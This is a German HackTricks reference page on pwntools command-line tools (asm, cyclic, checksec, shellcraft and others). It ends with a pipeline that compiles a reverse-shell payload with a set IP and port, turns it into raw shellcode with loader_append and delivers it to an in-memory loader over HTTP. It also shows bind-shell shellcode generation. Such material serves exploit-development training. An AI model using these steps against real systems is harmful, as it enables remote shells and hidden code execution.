PwnTools

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks
pip3 install pwntools

Pwn asm

Hole opcodes aus einer Zeile oder Datei.

pwn asm "jmp esp"
pwn asm -i <filepath>

Kann auswählen:

  • Ausgabetyp (raw,hex,string,elf)
  • Ausgabedatei-Kontext (16,32,64,linux,windows...)
  • Bytes vermeiden (Zeilenumbrüche, Null-Byte, eine Liste)
  • Encoder auswählen, shellcode mit gdb debuggen, Ausgabe ausführen

Pwn checksec

Checksec-Skript

pwn checksec <executable>

Pwn constgrep

Pwn cyclic

Muster erzeugen

pwn cyclic 3000
pwn cyclic -l faad

Kann auswählen:

  • Das verwendete Alphabet (standardmäßig Kleinbuchstaben)
  • Länge des uniq pattern (Standard: 4)
  • context (16,32,64,linux,windows...)
  • Offset ermitteln (-l)

Pwn debug

GDB an einen Prozess anhängen

pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash

Kann auswählen:

  • Nach executable, nach Name oder nach pid context (16,32,64,linux,windows...)
  • gdbscript zum Ausführen
  • sysrootpath

Pwn disablenx

nx eines Binaries deaktivieren

pwn disablenx <filepath>

Pwn disasm

Disas hex opcodes

pwn disasm ffe4

Kann auswählen:

  • context (16,32,64,linux,windows...)
  • base addres
  • color(default)/no color

Pwn elfdiff

Zeigt Unterschiede zwischen 2 Dateien an

pwn elfdiff <file1> <file2>

Pwn hex

Hexadezimale Darstellung erhalten

bash
pwn hex hola #Get hex of "hola" ascii

Pwn phd

hexdump abrufen

pwn phd <file>

Kann auswählen:

  • Anzahl der anzuzeigenden Bytes
  • Anzahl der Bytes pro Zeile (hervorgehobenes Byte)
  • Bytes am Anfang überspringen

Pwn pwnstrip

Pwn scrable

Pwn shellcraft

Shellcodes erhalten

pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port

Kann auswählen:

  • shellcode und Argumente für den shellcode
  • Ausgabedatei
  • Ausgabeformat
  • debug (dbg an den shellcode anhängen)
  • vorher (Debug-Trap vor dem Code)
  • nachher
  • Vermeide die Verwendung von opcodes (Standard: keine Null-Bytes und Zeilenumbrüche)
  • Shellcode ausführen
  • Farbe / keine Farbe
  • syscalls auflisten
  • mögliche shellcodes auflisten
  • ELF als shared library erzeugen

Pwn template

Hole eine Python-Vorlage

pwn template

Auswählbar: host, port, user, pass, path und quiet

Pwn unhex

Von hex zu string

pwn unhex 686f6c61

Pwn-Aktualisierung

Um pwntools zu aktualisieren

pwn update

ELF → raw shellcode packaging (loader_append)

Pwntools kann eine eigenständige ELF in ein einzelnes raw shellcode blob umwandeln, das seine Segmente selbst mapped und die Ausführung an den ursprünglichen entrypoint übergibt. Das ist ideal für memory-only loaders (z. B. Android-Apps, die JNI aufrufen, um heruntergeladene Bytes auszuführen).

Typische Pipeline (amd64-Beispiel)

  1. Erstelle eine statische, positionsunabhängige payload ELF (musl für Portabilität empfohlen):
bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
  1. Konvertiere ELF → shellcode mit pwntools:
python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
  1. Übermittle sc an einen memory loader (z. B. über HTTP[S]) und führe ihn im Prozess aus.

Hinweise

  • loader_append bettet das originale ELF-Programm in den shellcode ein und erzeugt einen winzigen Loader, der die Segmente mmaps und zum entry springt.
  • Gib die Architektur explizit über context.clear(arch=...) an. arm64 ist auf Android verbreitet.
  • Sorge dafür, dass der Code deines payloads positionsunabhängig ist, und vermeide Annahmen über ASLR/NX des Prozesses.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks